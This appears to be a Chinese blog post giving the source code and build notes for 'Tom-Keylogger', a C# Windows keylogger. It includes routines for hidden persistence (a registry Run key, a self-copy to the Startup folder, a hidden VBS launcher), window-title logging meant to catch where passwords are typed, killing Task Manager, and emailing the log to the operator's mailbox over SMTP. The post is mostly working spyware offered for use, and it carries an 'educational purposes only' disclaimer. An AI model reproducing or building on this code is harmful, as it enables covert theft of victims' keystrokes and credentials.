Tom-Keylogger(键盘记录器)

Tom-Keylogger(键盘记录器)_第1张图片
trojan.jpg

前言

本keylogger是在 Email-keylogger基础上进行的二次开发。

新增加的功能有

  • win10,win7系统下实现开机自启动
  • 实时记录当前用户开启的程序和窗口文字

若有什么不足之处,还请提出建议,附上这个 APP 的 Github 地址 Tom-Keylogger 欢迎大家 :heart: star 和 fork.

本文的主要内容

  • 窗口句柄记录,按键记录,email效果演示
  • win10,win7系统下实现开机自启动实现
  • 实时记录当前用户开启的程序和窗口文字
  • 如何成功实现发送txt文件到邮箱

1.窗口句柄记录,按键记录 效果演示:

Tom-Keylogger(键盘记录器)_第2张图片
screenshot.png

2.email记录效果演示

Tom-Keylogger(键盘记录器)_第3张图片
email.png

2. win10,win7系统下实现开机启动实现:

(1)win7下实现开机启动

        public static void Start()
        {
            //    MessageBox.Show("设置开机自启动,需要修改注册表", "提示");
        
            string path = Application.ExecutablePath;
            RegistryKey rk = Registry.LocalMachine;//读取 Windows 注册表基项 HKEY_LOCAL_MACHINE
            RegistryKey rk2 = rk.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");
            rk2.SetValue("JcShutdown", path);// exe 加入开机启动:)
            rk2.Close();
            //MessageBox.Show("Added To Started Up Successfully :) ");
        }
  • 代码很简单,只是将启动的项目名称、文件位置添加到启动项即可,在win7下成功实现。win10下打开任务管理器中的启动项目可以发现该程序,但是开机后程序并没有
    运行,这就牵扯到了第二种方法。

(2)win10下实现开机启动

        public static void startup()
        {
            //Try to copy keylogger in some folders
            string source = Application.ExecutablePath.ToString();//当前可执行文件的路径
            Console.WriteLine(source);
            string destination = Environment.GetFolderPath(Environment.SpecialFolder.Startup);//开机启动区 路径
            Console.WriteLine(destination);
            destination = System.IO.Path.Combine(destination, "kl2.exe");// 将两个路径合二为一
            try
            {
                System.IO.File.Copy(source, destination, true);// 把当前文件 复制到 开机启动区去
                source = destination;
            }
            catch
            {
                Console.WriteLine("No authorization to copy file or other error.");
            }
            
        }
  • 首先我写了一个startup()函数用于将当前的exe文件拷贝到StartUP文件夹
        public static void CopyVbs()
        {
            
            string destination1 = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
            string destination = System.IO.Path.Combine(destination1, "AutoStart.vbs");
            if (!System.IO.File.Exists(destination))
            {
                StreamWriter sw = new StreamWriter(destination);
                sw.WriteLine("Set shell =Wscript.createobject(\"WScript.Shell\")  ");
                sw.WriteLine("shell.Run \"kl2.exe\",0,False");
                sw.Close();
                File.SetAttributes(destination, File.GetAttributes(destination) | FileAttributes.Hidden);
            }
        }
  • 接着我写了一个函数,用于在StartUp文件夹下新建一个vbs文件,然后用StreamWriter 使得该vbs的内容为运行kl.exe

  • 这样,当开机时,系统会自动运行脚本,脚本的内容为运行kl.exe。(仅仅将kl.exe拷贝到StartUp文件夹是无法开机自启动的,本人亲自试过)

3.实时记录当前用户开启的程序和窗口文字的实现:

public static void GetActiveWindowTitle(object source, EventArgs e)
        {
            const int nChars = 256;     
            handle = GetForegroundWindow();
            StringBuilder Buff = new StringBuilder(nChars);
            GetWindowText(handle, Buff, nChars);          
            txt = Buff.ToString().ToCharArray();
            string t = DateTime.Now.ToString("yyyy-MM-dd H:mm:ss");
            if (!IsFileInUse(path))
            {
               // if (handle != handle1)
                if(!CheckChar(txt1,txt))
                {
                    StreamWriter ww = File.AppendText(Program.path);
                    ww.Write("\n");
                    ww.Write(t);
                    ww.Write(" ");
                    ww.WriteLine(Buff.ToString().ToCharArray());
                    ww.Close();
                   // handle1 = handle;
                    GiveChar(txt1,txt);
                }
            }
        }

算法大概是这样的

1.用GetForegroundWindow函数 得到当前运行在 最前排的程序的句柄handle

2.通过GetWindowText函数将handle转换为StringBuilder

3.然后将StringBuilder转换为CharArray

4.接着我写了一个CheckChar函数,用于防止句柄重复写入。代码如下

 public static bool CheckChar(char[] a, char[] b)
{
    int m = Math.Min(a.Length, b.Length);
    for (int i = 0; i < m; i++)
    {
        if (a[i] != b[i])
        {
            return false;
        }
    }
    return true;
}

5.最后则是将CharArray写入文件,将CharArray赋值,用于下次对比。

(网上的其他方法是直接对比handle来防止重复写入,这种方法是不可取的。如:当在Google Chrome中切换标签时,句柄并未发生变化,CharArray发生了变化
,这时程序就无法正确监控用户是在哪个网页输入了密码。这算是我在做这个功能时遇到的一个很大的坑吧~~)

4.如何成功实现发送txt文件到邮箱

C#作为高级语言真的很方便实现网络编程,直接用微软封装好的 System.Net.Mail 就足够了

代码如下

        public static void OnTimedEvent(object source, EventArgs e)
        {

            Process[] ProcessList = Process.GetProcesses();//为每个进程资源 创建组件
            foreach (Process proc in ProcessList)
            {
                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))
                {
                    proc.Kill();//关闭任务管理器
                }
            }
            //发送邮件
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add("**************");
            msg.From = new MailAddress("***********", "********", System.Text.Encoding.UTF8);
            string _ComputName = System.Net.Dns.GetHostName();
            msg.Subject = _ComputName;
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body = "L";
            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false;
            msg.Priority = MailPriority.High;//邮件优先级 最高
            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
            client.Credentials = new System.Net.NetworkCredential("**********@hotmail.com", "************");
            client.Port = 587;
            client.Host = "smtp.office365.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(Program.path);
            msg.Attachments.Add(data);//添加 附件
            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch
            {
                data.Dispose();//释放掉 资源 
                failed = 1;
            }
            data.Dispose();

            //if (failed == 0)
              //  File.WriteAllText(Program.path, ""); //如果发送成功 则 将txt清空  防止发送相同数据

            failed = 0;
        }
  • 你只需要将代码中的****** 替换为自己的账号密码即可
  • 需要注意的是,源程序中采用的smtp协议是gmail,本人亲测后发现由于网络原因无法实现按周期发送。
  • 多次尝试后,发现只有hotmail可以满足成功实现。但是发件箱和收件箱必须同时开启smtp和pop3协议。

结语

以上便是我写这个 APP 的具体实现思路,以及踩过的一些坑,记录下来,给大家看看。

This tutorial is for educational purposes only, please do not use this for malicious purposes.

最后附上这个 APP 的 Github 地址 Tom-Keylogger 欢迎大家 star 和 fork。

如果有什么想法或者建议,非常欢迎大家来讨论。


你可能感兴趣的:(Tom-Keylogger(键盘记录器))